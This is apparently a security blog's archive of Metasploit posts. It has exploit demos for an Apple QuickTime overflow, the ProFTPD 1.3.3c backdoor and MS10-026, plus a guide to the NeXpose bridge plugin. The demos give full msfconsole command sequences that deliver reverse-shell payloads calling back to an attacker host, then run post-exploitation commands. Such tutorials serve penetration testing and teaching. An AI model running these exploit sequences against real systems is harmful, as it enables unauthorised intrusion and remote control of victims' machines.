Category Archives: Metasploit

All my posts regarding Metasploit framework, auxiliaries, plugins and exploits.

CVE-2011-0257 : Apple QuickTime PICT PnSize Buffer Overflow Metasploit demo

Timeline :

Vulnerability discovered by Matt “j00ru” Jurczyk and submitted to ZDI
Vulnerability reported to vendor by ZDI the 2011-04-11
Coordinated public release of the vulnerability the 2011-08-08
Metasploit PoC provided the 2011-09-03

PoC provided by :

MC

Reference(s) :

CVE-2011-0257
ZDI-11-252

Affected version(s) :

All Apple QuickTime Player previous to version 7.7

Tested on Windows XP SP3 with :

Apple QuickTime Player 7.6 (472)

Description :

This module exploits a vulnerability in Apple QuickTime Player 7.60.92.0. When opening a .mov file containing a specially crafted PnSize value, an attacker may be able to execute arbitrary code.

Commands :

use exploit/windows/fileformat/apple_quicktime_pnsize
set FILENAME hollidays.mov
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploit

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploit -j

getuid
sysinfo

Metasploit NeXpose bridge plugin – Part 1

Metasploit include a bridge plugin between the penetration testing framework Metasploit and the vulnerability management scanner NeXpose from Rapid7. This blog post will describe on how to use the basic commands of this bridge plugin.

As pre-requirements to use the NeXpose bridge plugin, you need first to use Metasploit with a database backend. To connect Metasploit to a database backend just follow the “db_connect” command :

The “db_connect” command will create automatically the database and related tables.

To verify the database connection you can use the “db_status” command.

You can now load the NeXpose bridge plugin with the “load nexpose” command.

Generic commands

  • Connecting to NeXpose – nexpose_connect :

To connect to NeXpose, just type :

nexpose_connect login:password@nexpose_ip:port <ssl ok>

login” and “password” variables are you’re NeXpose user login and password. “nexpose_ip” variable is the IP address or the hostname of NeXpose instance. “port” variable is the port where NeXpose is listening, by default 3780/tcp. “ok” variable is for letting you know that nessus use a self signed certificate and that risks are present.

  • Logout from NeXpose – nexpose_disconnect :

To disconnect from NeXpose, just run the following command :

  • Checking NeXpose system information – nexpose_sysinfo :

To check the NeXpose system information (db version, java informations, uptime, installation directory, free memory, last update id, etc.), run the following command :

NeXpose Useful Commands

  • Getting help for NeXpose commands – nexpose_command help :

To have a complete list of all NeXpose commands, just run the following command.

  • Getting NeXpose versions informations – nexpose_command ver :
This command will display the current software version, serial number, most recent update.

  • Updating NeXpose engines – nexpose_command update engines :
The following command will send pending updates to all defined Scan Engines.

  • Check and apply NeXpose updates – nexpose_command update now :
The following command will check for and apply updates manually and immediately, instead of waiting for an automatic, scheduled update.

  • Getting NeXpose server scheduled jobs – nexpose_command schedule :
The following command will Display the currently scheduled jobs such as scans, auto-update retriever, temporal risk score updater, data warehouse exporter, and log rotation.

  • Getting a NeXpose database diagnostics- nexpose_command database diagnostics :

The following command will check the database for inconsistencies, such as multiple entries for an asset.

  • Getting a complete NeXpose diagnostics nexpose_command diag :

The following command will display diagnostic information that may be useful for debugging or monitoring of activity.

  • Stopping NeXpose – nexpose_command exit or nexpose_command quit :

These both commands will stop the NeXpose server.

  • Restarting NeXpose – nexpose_command restart :
This command will restart the NeXpose server.

  • Ping a host from the NeXpose server – nexpose_command ping HOST [PORT] :
This command will ping the specified host using an ICMP ECHO request, TCP ACK packet, and TCP SYN packet. The default TCP port is 80.

  • Traceroute from the NeXpose server – nexpose_command traceroute HOST :
This command determine the IP address route between your NeXpose server and the host name or IP address that you specify.

In the next blogpost we will describe all commands related to sites, site devices, scans.

OSVDB-69562 : ProFTPD 1.3.3c Backdoor Command Execution

Timeline :

Public release of the backdoor presence the 2010-12-01
Metasploit PoC provided the 2010-12-02

PoC provided by :

MC
darkharper2

Reference(s) :

OSVDB-69562

Affected version(s) :

proftpd-1.3.3c from the dates of 2010-11-28 to 2010-12-02

Tested on Ubuntu 10.0.4 LTS with :

proftpd-1.3.3c patched with diff

Description :

This module exploits a malicious backdoor that was added to the ProFTPD download archive. This backdoor was present in the proftpd-1.3.3c.tar.[bz2|gz] archive between November 28th 2010 and 2nd December 2010.

Commands :

use exploit/unix/ftp/proftpd_133c_backdoor
set RHOST localhost
set PAYLOAD cmd/unix/reverse_perl
set LHOST 192.168.178.21
exploit

id
uname -a
ifconfig

MS10-026 : Microsoft MPEG Layer-3 Audio Stack Based Overflow Metasploit Demo

Timeline :

Vulnerability discovered by Yamata Li and submitted to Microsoft
Coordinated public release of the vulnerability the 2010-04-13
Metasploit PoC provided the 2011-08-12

PoC provided by :

Yamata Li
Shahin Ramezany
juan vazquez
Jordi Sanchez

Reference(s) :

CVE-2010-0480
OSVDB-63749
MS10-026 (KB977816)

Affected version(s) :

Microsoft Windows 2000 SP4
Windows XP SP2 and SP3
Windows XP Professional x64 SP2
Windows Server 2003 SP2
Windows Server 2003 x64 SP2
Windows Vista, Windows Vista SP1, and Windows Vista SP2
Windows Vista x64, Windows Vista x64 SP1, and Windows Vista x64 SP2
Windows Server 2008 32 and Windows Server 2008 32 SP2
Windows Server 2008 x64 and Windows Server 2008 x64 SP2

Tested on Windows XP SP3 with :

Internet Explorer 6

Description :

This module exploits a buffer overlow in l3codecx.ax while processing a AVI files with MPEG Layer-3 audio contents. The overflow only allows to overwrite with 0’s so the three least significant bytes of EIP saved on stack are overwritten and shellcode is mapped using the .NET DLL memory technique pioneered by Alexander Sotirov and Mark Dowd. Please note on IE 8 targets, your malicious URL must be a trusted site in order to load the .Net control.

Commands :

use exploit/windows/browser/ms10_026_avi_nsamplespersec
set SRVHOST 192.168.178.21
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploit

sessions -i 1
getuid
sysinfo
ipconfig